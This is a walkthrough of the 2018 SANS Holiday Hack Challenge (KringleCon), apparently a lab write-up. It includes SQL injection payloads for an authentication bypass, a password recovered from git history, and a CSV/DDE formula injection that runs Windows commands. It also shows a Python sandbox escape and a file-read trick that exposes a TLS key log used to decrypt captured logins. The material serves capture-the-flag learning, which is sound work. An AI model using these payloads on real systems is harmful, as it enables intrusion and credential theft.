Name="LogonProcessName">Advapi </Data> <Data Name="AuthenticationPackageName">Negotiate</Data> <Data Name="WorkstationName">WIN-KCON-EXCH16</Data> <Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x00000000000019f0</Data> <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data> <Data Name="IpAddress">172.31.254.101</Data> <Data Name="IpPort">38283</Data> <Data Name="ImpersonationLevel">%%1833</Data> <Data Name="RestrictedAdminMode">-</Data> <Data Name="TargetOutboundUserName">-</Data> <Data Name="TargetOutboundDomainName">-</Data> <Data Name="VirtualAccount">%%1843</Data> <Data Name="TargetLinkedLogonId">0x0000000000000000</Data> <Data Name="ElevatedToken">%%1842</Data> </EventData> </Event> -- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Nam e="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Pr ovider> <EventID Qualifiers="">4624</EventID> <Version>2</Version> <Level>0</Level> <Task>12544</Task> <Opcode>0</Opcode> <Keywords>0x8020000000000000</Keywords> <TimeCreated SystemTime="2018-09-10 13:07:02.556292"></TimeCreated> <EventRecordID>240573</EventRecordID> <Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Co rrelation> <Execution ProcessID="664" ThreadID="12152"></Execution> <Channel>Security</Channel> <Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer> <Security UserID=""></Security> </System> <EventData><Data Name="SubjectUserSid">S-1-5-18</Data> <Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data> <Data Name="SubjectDomainName">EM.KRINGLECON</Data> <Data Name="SubjectLogonId">0x00000000000003e7</Data> <Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data> <Data Name="TargetUserName">minty.candycane</Data> <Data Name="TargetDomainName">EM.KRINGLECON</Data> <Data Name="TargetLogonId">0x0000000001175cd9</Data> <Data Name="LogonType">8</Data> <Data Name="LogonProcessName">Advapi </Data> <Data Name="AuthenticationPackageName">Negotiate</Data> <Data Name="WorkstationName">WIN-KCON-EXCH16</Data> <Data Name="LogonGuid">{5b50bc0d-2707-1b79-e2cb-6e5872170f2d}</Data> <Data Name="TransmittedServices">-</Data> <Data Name="LmPackageName">-</Data> <Data Name="KeyLength">0</Data> <Data Name="ProcessId">0x00000000000019f0</Data> <Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data> <Data Name="IpAddress">172.31.254.101</Data> <Data Name="IpPort">40762</Data> <Data Name="ImpersonationLevel">%%1833</Data> <Data Name="RestrictedAdminMode">-</Data> <Data Name="TargetOutboundUserName">-</Data> <Data Name="TargetOutboundDomainName">-</Data> <Data Name="VirtualAccount">%%1843</Data> <Data Name="TargetLinkedLogonId">0x0000000000000000</Data> <Data Name="ElevatedToken">%%1842</Data> </EventData> </Event> elf@b73775ed8e38:~$
The two successful login attempts from the bad guy IP address had been made for the minty.candycane
account.
Her credentials are probably compromised !
And just for fun :
elf@b73775ed8e38:~$ grep 4624 evtx.xml -B 2 -A 40 | grep "172.31.254.101" -B 33 -A 9 | gre
p -o 'TargetUserName">.*</Data>' | sed 's/TargetUserName">//g' | sed 's/<\/Data>//g' | sor
t | uniq
minty.candycane
elf@b73775ed8e38:~$
Then, trying minty.candycane
:
Speaking again with Pepper Minstix :
Well, that explains the odd activity in
Minty's account. Thanks for your help!
All of the Kringle Castle employees
have these cool cards with QR codes
on them that gives us access to
restricted areas.
Unfortunately, the badge-scan-o-
matic said my account was disabled
when I tried scanning my badge.
I really needed access so I tried
scanning several QR codes I made
from my phone but the scanner kept
saying "User Not Found".
I researched a SQL database error
from scanning a QR code with special
characters in it and I found it may
contain an injection vulnerability.
I was going to try some variations I
found on OWASP but decided to stop
so I don't tick-off Alabaster.
Pepper gaves us two important hints :
- a link to an online QR code generation service ;
- a link on how to bypass auth exploiting SQL injection.
Now let's have a look at these Scan-o-Matic !
Scan-O-Matic
In the corridor behind the Yule Log Analysis terminal, on the left hand after the stairs, there is a Scan-O-Matic which commands the opening of a door :
The objective description says that a sample employee badge is available there : https://www.holidayhackchallenge.com/2018/challenges/alabaster_badge.jpg.
Here it is :
There is a QR code printed on the badge !
Once th QR-Code cutted and saved in a .png
file, we can use it in the Scan-o-Matic putting it in the USB port :
Once read by the online service, we see that it's content is the string oRfjg5uGHmbduj2m
.
When base64 decoded, datas seems to be binary ones : A1 17 E3 83 9B 86 1E 66 DD BA 3D A6.
May be this string is just some sort of hash or id ?
We can try some basic SQL injections on the string just to see what happens.
With a QRCOde containing oRfjg5uGHmbduj2m, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!
.
With a QRCOde containing oRfjg5uGHmbduj2m' or '1'='1, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!
.
With a QRCOde containing oRfjg5uGHmbduj2m" or "1"="1, we get a message : NO AUTHORIZED USER ACCOUNT FOUND!
. Our injection had modified the result.
With a QRCOde containing oRfjg5uGHmbduj2m' or '1'='0, we get a message : AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!
.
With a QRCode containing oRfjg5uGHmbduj2m' or sleep(1000)
, we get a message :
EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1064, u"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1")"
Now we know the structure of the authentication SQL request :
user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))
.
And we know that there is an injection point on the uid
parameter.
We have to modify the structure of the request to return a tupple with three values : first_name
, last_name
and enabled
flag.
Firstname and lastname are probably not important, but the enabled
one is (remember that there are AUTHORIZED USER ACCOUNT HAS BEEN DISABLED!
messages).
So we can try to return forged datas with a UNION
statement.
With this inject : oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 ; #-- we will modify the request as this :
user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = 'oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 ; #--' LIMIT 1".format(uid))
This request will add a row to the the datas returned containing first_name='mr', last_name='roubachof', enabled=1
.
...it doesn't works... why ?
Ok, the request returns two rows : one for the SELECT
on the Alabaster id and one from our UNION SELECT
statement and probably the application uses only the first row returned.
And this one has a enabled value equals to 0 since Alabaster's account is disabled.
We can try with a non existing id or force a response containing only our injected row.
New try with oRfjg5uGHmbduj2m' UNION SELECT 'mr','roubachof',1 LIMIT 1 OFFSET 1; #--
injection :
It works :-) :
The Scan-o-Matic prints :
{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"359c749a6ed7e20f86824f035980a74ea54f422a380126bf262cc6d0ffcd6baa","resourceId":"4695f4f2-d14c-4528-b806-938f14d35f0f"}}
The control number 19880715
validates the sixth challenge :
This unlocks a new narrative :
...and gives access to the secret room :
In the sercret room, there are :
- Santa who has nothing to say ;
- Hans who as nothing to say ;
- Alabaster Snowball ;
- A "Snort Challenge" terminal ;
- A "Hohoho Daddy" terminal ;
- A "Elf Terminal" terminal ;
- A piano lock beside a door.
Note : we have a blind SLQ injection here and we could use it to discover the content of the database, and may be more. But this write-up is really a time-consuming task and this is out of scope of this challenge, so, move on...
Our roadmap is now half completed, but there are new terminals :
Google ventilation maze
Before speaking to Alabaster Snowball, we can try to use the diagrams extracted from the protected zipfile. Remember it ?
In the hall, at the left of the Google stand, there is a Google Ventilation entry :
This ventilation is a maze :
With the help of the deciphered diagrams, we can find our way in the maze :
- first floor path : 8 6 2 2 2 4 8 2 2 2 6 4 2 2
- second floor path : 6 2 4 4 6 2 2 2 2 4 2 2 4 2 6 2 2 2
And after this little journey :
We find... the Santa's Secret Room !
Hahaha, this was a backdoor in case we cannot pass the Scan-o-Matic.
Objective 7 : HR Incident Response
Hi, I'm Sparkle Redberry.
Ugh, can you believe that Elf
Resources is poking around?
Something about sensitive info in my
git repo.
I mean, I may have uploaded
something sensitive earlier, but it's
no big deal. I overwrote it!
Care to check my Cranberry Pi
terminal and prove me right?
Sparkle gaves us two new hints :
- a link to an article about Finding Passwords in Git ;
- a link to a Git Cheat Sheet.
« Dev Ops Failed » Terminal
Coalbox again, and I've got one more ask. Sparkle Q. Redberry has fumbled a task. Git pull and merging, she did all the day; With all this gitting, some creds got away. Urging - I scolded, "Don't put creds in git!" She said, "Don't worry - you're having a fit. If I did drop them then surely I could, Upload some new code done up as one should." Though I would like to believe this here elf, I'm worried we've put some creds on a shelf. Any who's curious might find our "oops," Please find it fast before some other snoops! Find Sparkle's password, then run the runtoanswer tool. elf@26592f0cabcc:~$
There is a kcconfmgmt
directory and there is a .git
directory in it :
elf@26592f0cabcc:~$ cd kcconfmgmt/ elf@26592f0cabcc:~/kcconfmgmt$ ls -A .git README.md app.js package-lock.json package.json public routes server views elf@26592f0cabcc:~/kcconfmgmt$
Then we browse the commit log with git log command just to see :
[crouic] commit a6449287cf9ed9151d94fb747f6904158c2c4d71 Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Fri Nov 9 14:08:04 2018 -0500 Add passport middleware for user auth commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 21:11:03 2018 -0500 Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use commit b2376f4a93ca1889ba7d947c2d14be9a5d138802 Author: Sparkle Redberry <sredberry@kringlecon.com> Date: Thu Nov 8 13:25:32 2018 -0500 Add passport module [crouic]
It seems that commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
is interesting !
We can get details about a Git object with the git show
command. Let's try git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b :
elf@26592f0cabcc:~/kcconfmgmt$ git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings
in config.js.def need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
- 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
--- /dev/null
+++ b/server/config/config.js.def
@@ -0,0 +1,4 @@
+// Database URL
+module.exports = {
+ 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
+};
elf@26592f0cabcc:~/kcconfmgmt$
What about the twinkletwinkletwinkle
mongodb password ?
elf@26592f0cabcc:~$ ./runtoanswer Loading, please wait...... Enter Sparkle Redberry's password: twinkletwinkletwinkle This ain't "I told you so" time, but it's true: I shake my head at the goofs we go through. Everyone knows that the gits aren't the place; Store your credentials in some safer space. Congratulations! elf@26592f0cabcc:~$
Yeah ! Now we need to talk with Sparkle :
Oh my golly gracious - Tangle was right? It wall still in there? How embarrassing!
Well, if I can try to redeem myself a bit, let me tell you about another challenge you can help us with.
I wonder if Tangle Coalbox has taken a good look at his own employee import system.
It takes CSV files as imports. That certainly can expedite a process, but there's a danger to be had.
I'll bet, with the right malicious input, some naughty actor could exploit a vulnerability there.
I'm sure the danger can be mitigated. OWASP has guidance on what not to allow with such oploads.
Sparkle gaves us two precious hints :
- a link to a CSV Injection Talk : Somehow Brian Hostetler is giving a talk on CSV injection WHILE he's giving a talk on Trufflehog. Whatta' guy!
- a link to the OWASP CSV Injection Page.
Let's try this on the Elf Infosec Careers web site !
Elf Resources web site
The Elf Infosec Careers website has a single page with a form to submit application :
Poking around, we notice a 404
page that gives us some information :
There is a /public
directory from where we can probably download files if wa know their names.
Ok, it's time to launch Burp and see what happens when we submit a simple csv file :
Note that the answer says : If you are accepted, you will be added to our secret list of potential new elf hires located in C:\candidate_evaluation.docx
.
Let's try to catch the C:\candidate_evaluation.docx
file.
With the Burp repeater, we modify the csv part of the request and try to inject a command to copy the docx file to the public folder.
First we try a "DDE('cmd';'/C copy c:\\candidate_evaluation.docx c:\\careerportal\\ressources\\public\\copydoc.docx';'__DdeLink_60_870516294')" command, but it didn't work.
Then we try a "=cmd|' /C copy c:\\candidate_evaluation.docx c:\\careerportal\\ressources\\public\\copydoc.docx'!A0" command :
And yes, it works :
So, there is just to get the doc :
Open it :
And in the comments about Krampus, we found the flag :
The terrorist organisation name Fancy Beaver
validates the seventh Objective :
This unlocks three new narratives :
In the Santa's Secret room, Hans said :
Note: with this CSV injection, we can browse the server filesystem (for example with a tree c:\ command :
Folder PATH listing Volume serial number is 1AAA-ED1D C:\ ├───careerportal │ ├───app │ │ ├───config │ │ ├───controllers │ │ └───routers │ ├───node_modules │ │ ├───.bin │ │ ├───accepts │ │ ├───append-field │ │ │ ├───lib │ │ │ └───test │ │ ├───array-flatten │ │ ├───body-parser │ │ │ └───lib │ │ │ └───types │ │ ├───buffer-from │ │ ├───busboy │ │ │ ├───deps │ │ │ │ └───encoding │ │ │ ├───lib │ │ │ │ └───types │ │ │ └───test [crouic]
Or launch some commands like whoami /ALL :
USER INFORMATION ---------------- User Name SID ========================== ============================================= hhc18-dde\sparkle.redberry S-1-5-21-1619229272-2598702499-570497326-1002 GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
We can also create directories like this example :
Directory: C:\careerportal\app
Mode LastWriteTime Length Name
----
d----- 10/23/2018 5:56 PM config
d----- 10/23/2018 5:56 PM controllers
d----- 10/23/2018 5:56 PM routers
d----- 1/7/2019 11:31 PM test
But like the server is shared, we didn't try more.
Moving to our next objective...
Objective 8 : Network Traffic Forensics
Following our roadmap, we look for SugarPlum Mary :
Hi, I'm Sugarplum Mary!
I'm glad you're here; my terminal is
trapped inside a python! Or maybe
my python is trapped inside a
terminal?
Can you please help me by escaping
from the Python interpreter?
SugarPlum gaves us a good hint : » Check out Mark Baggett's talk upstairs «.
Watching the Mark Baggett's conference Escaping Python Shells is a good idea ! Mark gives us valuable informations about restricted python environments and how to escape them.
Let's try these tricks on the Python Escape from LA terminal...
Terminal "Python Escape from LA"
I'm another elf in trouble, Caught within this Python bubble. Here I clench my merry elf fist - Words get filtered by a black list! Can't remember how I got stuck, Try it - maybe you'll have more luck? For this challenge, you are more fit. Beat this challenge - Mark and Bag it! -SugarPlum Mary To complete this challenge, escape Python and run ./i_escaped >>> ~
We try exit(), but it doesn't work.
sys.exit(1) ?
>>> sys.exit(1) Traceback (most recent call last): File "<console>", line 1, in <module> NameError: name 'sys' is not defined >>>
import sys ?
>>> ~import sys Use of the command import is prohibited for this question. >>>
del sys ?
>>> del sys Traceback (most recent call last): File "<console>", line 1, in <module> NameError: name 'sys' is not defined >>>
Try to reimport os with exec("imp"+"ort os") ?
>>> exec("imp"+"ort os") Use of the command exec is prohibited for this question. >>>
Seconde try with os=eval('__imp'+'ort__("os")') works !
>>> os=eval('__imp'+'ort__("os")') >>>
Ok, now we can launch an os.system("ls")
>>> os.system("ls") Use of the command os.system is prohibited for this question. >>>
Ok, it seems that there is some sort of filter on objects names. Trying whith an unknown name, test
for example :
test=eval('__imp'+'ort__("os")')
test.system("ls")
>>> test=eval('__imp'+'ort__("os")') >>> test.system("ls") i_escaped 0 >>>
It works and there is a file named i_escaped
. May be we can execute it ?
test.system("./i_escaped") :
Done ! Going back to SugarPlum :
Yay, you did it! You escaped from the
Python!
As a token of my gratitude, I would
like to share a rumor I had heard
about Santa's new web-based
analyzer - Packalyzer
Another elf told me that Packalyzer
was rushed and deployed with
development code sitting in the web
root.
Apparently, he found this out by
looking at HTML comments left
behind and was able to grab the
server-side source code.
There was suspicious-looking
development code using environment
variables to store SSL keys and open
up directories.
This elf then told me that
manipulating values in the URL gave
back weird and descriptive errors.
I'm hoping these errors can't be used
to compromise SSL on the website
and steal logins.
On a tooootally unrelated note, have
you seen the HTTP2 talk at
KringleCon by the Chrises? I never
knew HTTP2 was so different!
Web-based packet capture and analysis tool
After creating an account, we can log in and sniff some packets.
Sugarplum Mary told us that "packalyzer was rushed and deployed with development code sitting in the web root". And that "he found this out by looking at HTML comments left behind". So, let's have a look to page sources.
if (top_talkers.length > 5) {top_talkers.length=6}
$('.bargraph_container').css('display','block');
build_pie_chart('piechart_top_protocols', top_protocols);
build_pie_chart('piechart_dst_port', top_ports);
build_pie_chart('piechart_top_talkers', top_talkers);
}
};
//File upload Function. All extensions and sizes are validated server-side in app.js
$(function () {
'use strict';
$('#fileupload').fileupload({
url: '/api/upload',
dataType: 'json',
done: function (e, data) {
if (data.result.request) {
analyze_packets(data.result.data.clean(""));
There is an app.js
somewhere !
Trying https://packalyzer.kringlecastle.com/app.js :
Not Found
Studying the sources, we see that there are an pub
and a uploads
folders and an api
:
[...] <link rel="stylesheet" href="https://packalyzer.kringlecastle.com:80/pub/css/materialize.css"> [...] onclick=\"analyze_packets('uploads/"+result.data[i]. [...] $.post( "/api/list",{}).done(function( result ) { [...] $.post( "/api/delete",{'pcap':packet_name_and_path}).done(function( result ) { [...] $.post( "/api/sniff",{}).done(function( result ) { [...] $.post( "/api/process",{'pcap':result.data}).done(function( result2 ) {
Poking around, we note that when sending GET
requests inside pub
directory we have an error message. For example with https://packalyzer.kringlecastle.com/pub/test :
Error: ENOENT: no such file or directory, open '/opt/http2/pub//test'
And asking for https://packalyzer.kringlecastle.com/pub/app.js :
#!/usr/bin/node
//pcapalyzer - The web based packet analyzer
const cluster = require('cluster');
const os = require('os');
const path = require('path');
const fs = require('fs');
const http2 = require('http2');
const koa = require('koa');
const Router = require('koa-router');
const mime = require('mime-types');
const mongoose = require('mongoose');
const koaBody = require('koa-body');
const cookie = require('koa-cookie');
const execSync = require('child_process').execSync;
const execAsync = require('child_process').exec;
const redis = require("redis");
const redis_connection = redis.createClient();
const {promisify} = require('util');
const getAsync = promisify(redis_connection.get).bind(redis_connection);
const setAsync = promisify(redis_connection.set).bind(redis_connection);
const delAsync = promisify(redis_connection.del).bind(redis_connection);
const sha1 = require('sha1');
require('events').EventEmitter.defaultMaxListeners = Infinity;
const log = console.log;
const print = log;
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time
};
//==================================
//Standard Mongoose Connection Stuff
//==================================
const app = new koa();
const router = new Router();
router.use(cookie.default());
app.use(router.routes()).use(router.allowedMethods());
mongoose.connect('mongodb://localhost:27017/packalyzer',{ useNewUrlParser: true });
const Schema = mongoose.Schema;
const userSchema = new Schema({
name: { type: String, required: true, unique: true },
email: { type: String, required: true, unique: true },
password: { type: String, required: true },
is_admin: { type: Boolean, required: true },
captures: { type: Array, required: true },
});
const Users = mongoose.model('Users', userSchema);
//Sets Users to be allowed to sniff or just admins
const Allow_All_To_Sniff = true;
//==================================
//Standard Mongoose Connection Stuff
//==================================
Array.prototype.clean = function(deleteValue) {
for (var i = 0; i < this.length; i++) {
if (this[i] == deleteValue) {
this.splice(i, 1);
i--;
}
}
return this;
};
var uniqueArray = function(arrArg) {
return arrArg.filter(function(elem, pos,arr) {
return arr.indexOf(elem) == pos;
});
};
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
[...a lot of strange bytes cut...]
const api_functions = {
'login':login,
'logout':logout,
'users':find_users,
'register':register,
'upload':upload,
'list':list_caps,
'delete':delete_caps,
'sniff':sniff_traffic,
'process':start_process,
}
const api_function = async (ctx, next) => {
var Session = await sessionizer(ctx);
const action = ctx.params.action;
if ((Session.authenticated && Object.keys(api_functions).includes(action)) || ['login','register','users'].includes(action) ) {
if (typeof api_functions[action] === 'function') {
try{
await api_functions[action](ctx, next, Session);
} catch (e) {
log(e)
ctx.status=500;
ctx.body=e.toString();
}
} else {
ctx.body='Not Found';
}
} else {
ctx.status=401;
ctx.body='Unauthorized';
}
await next();
}
[...a lot of strange bytes cut...]
//Route for anything in the public folder except index, home and register
router.get(env_dirs, async (ctx, next) => {
try {
var Session = await sessionizer(ctx);
//Splits into an array delimited by /
let split_path = ctx.path.split('/').clean("");
//Grabs directory which should be first element in array
let dir = split_path[0].toUpperCase();
split_path.shift();
let filename = "/"+split_path.join('/');
while (filename.indexOf('..') > -1) {
filename = filename.replace(/\.\./g,'');
}
if (!['index.html','home.html','register.html'].includes(filename)) {
ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
} else {
ctx.status=404;
ctx.body='Not Found';
}
} catch (e) {
ctx.body=e.toString();
}
});
router
.get('/api/:action', async (ctx, next) => {
await api_function(ctx, next)
})
.post('/api/:action', koaBody({ multipart: true }), async (ctx, next) => {
await api_function(ctx, next)
})
const server = http2.createSecureServer(options, app.callback());
server.listen(443);
There are two strange parts in this file, which seems to be encoded with some sort of UTF-xx
format. There are lots of EF BF BD
bytes sequences in these parts.
We will study it later if we have enough time.
By the way, this source is very interesting. First we can saw that we are in dev
mode and that TLS keys are logged in a file which is in a directory that has the name of
the environment variable DEV
. The file itself is named with the value of the environment variable SSLKEYLOGFILE
:
const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )
const options = {
key: fs.readFileSync(__dirname + '/keys/server.key'),
cert: fs.readFileSync(__dirname + '/keys/server.crt'),
http2: {
protocol: 'h2', // HTTP2 only. NOT HTTP1 or HTTP1.1
protocols: [ 'h2' ],
},
keylog : key_log_path //used for dev mode to view traffic. Stores a few minutes worth at a time
};
[...]
const server = http2.createSecureServer(options, app.callback());
server.listen(443);
If we are able to catch this file, we probably be able to decipher the SSL packets in the network captures.
But how can we find the values of DEV
and SSLKEYLOGFILE
environment variables ?
For the DEV
one, we can try to guess it. What about dev
?
Asking for dev/.
with curl https://packalyzer.kringlecastle.com/dev/. --http2-prior-knowledge command, we get :
Error: EISDIR: illegal operation on a directory, read
When we ask for an unknown directory like abcdefg
, we get :
Not found
So there is a dev
directory on the server and we can expect that it matches with the DEV
environment variable content.
Now, how can we guess or found the SSLKEYLOGFILE
value ?
it's time to look at our hints and at the rest of the app.js
code. There is an interesting load_envs
function which is called in dev mode only.
This function parse all the environment variables of the process and put them in a env_dir
array :
function load_envs() {
var dirs = []
var env_keys = Object.keys(process.env)
for (var i=0; i < env_keys.length; i++) {
if (typeof process.env[env_keys[i]] === "string" ) {
dirs.push(( "/"+env_keys[i].toLowerCase()+'/*') )
}
}
return uniqueArray(dirs)
}
if (dev_mode) {
//Can set env variable to open up directories during dev
const env_dirs = load_envs();
} else {
const env_dirs = ['/pub/','/uploads/'];
}
This array is used to declare application routes ! So every environment variable name converted in lower case is a route. And then the first hinge of the requested url is replaced by the value of the corresponding environment variable :
//Route for anything in the public folder except index, home and register
router.get(env_dirs, async (ctx, next) => {
try {
var Session = await sessionizer(ctx);
//Splits into an array delimited by /
let split_path = ctx.path.split('/').clean("");
//Grabs directory which should be first element in array
let dir = split_path[0].toUpperCase();
split_path.shift();
let filename = "/"+split_path.join('/');
while (filename.indexOf('..') > -1) {
filename = filename.replace(/\.\./g,'');
}
if (!['index.html','home.html','register.html'].includes(filename)) {
ctx.set('Content-Type',mime.lookup(__dirname+(process.env[dir] || '/pub/')+filename))
ctx.body = fs.readFileSync(__dirname+(process.env[dir] || '/pub/')+filename)
} else {
ctx.status=404;
ctx.body='Not Found';
}
} catch (e) {
ctx.body=e.toString();
}
});
For example if we request for /path/some_file
,
the path
hinge will be replaced by the PATH
environment variable value and the url requested will be /[PATH_value]/some_file
.
We can verify it by requesting for example /home/test
request with a curl https://packalyzer.kringlecastle.com/home/test --http2-prior-knowledge. We get :
Error: ENOENT: no such file or directory, open '/opt/http2/opt/http2/test'
Requesting /path/test
with a curl https://packalyzer.kringlecastle.com/path/test --http2-prior-knowledge command :
Error: ENOENT: no such file or directory, open '/opt/http2/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin/test'
We can see that the on the server HOME=/opt/http2
and PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
.
Ok, stop playing now. What about SSLKEYLOGFILE
? Running curl https://packalyzer.kringlecastle.com/sslkeylogfile/test --http2-prior-knowledge :
Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/test'
The SSL keys log file is named packalyzer_clientrandom_ssl.log
!
And we can verify this by requesting /dev/packalyzer_clientrandom_ssl.log
with a curl https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log --http2-prior-knowledge command.
We get some keys :
root@kali:~/$ curl https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log --http2-prior-knowledge CLIENT_RANDOM B6632CFFEC6808CCFE5CABA677430B2E65512803DAF5837636EE859F68EA90EC E73D060076010BE655104F5B5B25042C7CAEA4C5CC7F3BDD4FDFCC589343830B47F7F9E8AFB441DF99C0A303D3AD8287 CLIENT_RANDOM 867F52AF67E0CE75E187D26174CCB9B0074A0D6F9321A3FDED771228977E0D63 42DA399F7AEE1E13B1F7BE6F51CCD35FA4011552EF595E16E6E03E6FCBFA65E90C4BA41FDF7FDAA6785FC716E9673AF9 CLIENT_RANDOM 1219F56CB14DB2C3664A2EC1447805DE2C60F8ED757E877710314F5308E0D30D 505B535D786BB02D663E1F76E497105C7B0B5888F09484CBB946B8B778DE5058BA505B954F6DA856AEBA0060434BB61A CLIENT_RANDOM 808A2244715216F14525FF1D03578E8963CBB6595671C983EA162F21C292549F 5B66E88D34E1D5A7F28E26E3E65589D0CEEFA877C30B117F35B6208C303245BF06A4349B63875CD30099FF342451C381 CLIENT_RANDOM 0C8A9AC16DC077097A9CD4223A40BF7CDE68B81992D73CA2113D4D9315E50F7E F370B110BE68BC4EC7FEEC3F33D3FF4889F8BCA3EFE9A1350DB292824365C60DFF64D36F3BD86CB2D25CBE950BAB03A3 [crouic] CLIENT_RANDOM 390228237990407E444E47637A95731224B6EE1036F642333778A0B777FE5117 A6F71F770B679CE1F70DD8896CAF9257AD5F43FEC5861ED8D9B43586E98EEA9FC3BE7E00CA91B4DF94F836F8A6334B6E CLIENT_RANDOM 717EDD65E1DB6468B368B19DA0E42E92B3EC25DB8BE79E5415ADBDFCDAABD99E 0CB1C877D3A8FB61E7F122A52108D29EB1B4A3271A3F0B44498532080F80477730C86687A2129AF4748D75AD737F87AD CLIENT_RANDOM 958E9A2F6DE3DB8F6095CB2AFB4FD83DF75813D46F88EA428F3F2A028FE6F1AB 7F726634EB781EC771AA5D9B7334E3B851E8BBC89A7A307F64ED68D698DFD29D9798BE70F335B8BF0CAE3235FB3B5C30 root@kali:~/$
With these keys, we can decipher the captured SSL streams.
In order to do this, we have to configure Wireshark.
First, open the Edit
menu and choose the last entry named Preferences
:
Then, liste the Protocols
and choose SSL :
Finaly, put the SSL key logfile full path in the (Pre)-Master-Secret log filename
field :
Click OK
and the magic happens, we are now able to see deciphered HTTP2 packets :
And we can view the deciphered datas like these login credentials for example :
Now, we can look at each packet datas or use the Wireshark follow stream funtion. Select one deciphered packet, right-click on it and select Follow
and then SSL Stream
:
The entire stream is displayed and we can browse it, search, save etc :
From the different streams, we can extract those credentials and informations :
{"username": "pepper", "password": "Shiz-Bamer_wabl182"} {"username":"pepper","is_admin":false,"email":"pepper.minstix@localhost.local","_id":"5bd73470388788152cf8b905"};
{"username": "bushy", "password": "Floppity_Floopy-flab19283"} {"username":"bushy","is_admin":false,"email":"bushy.evergreen@localhost.local","_id":"5bd73471388788152cf8b907"};
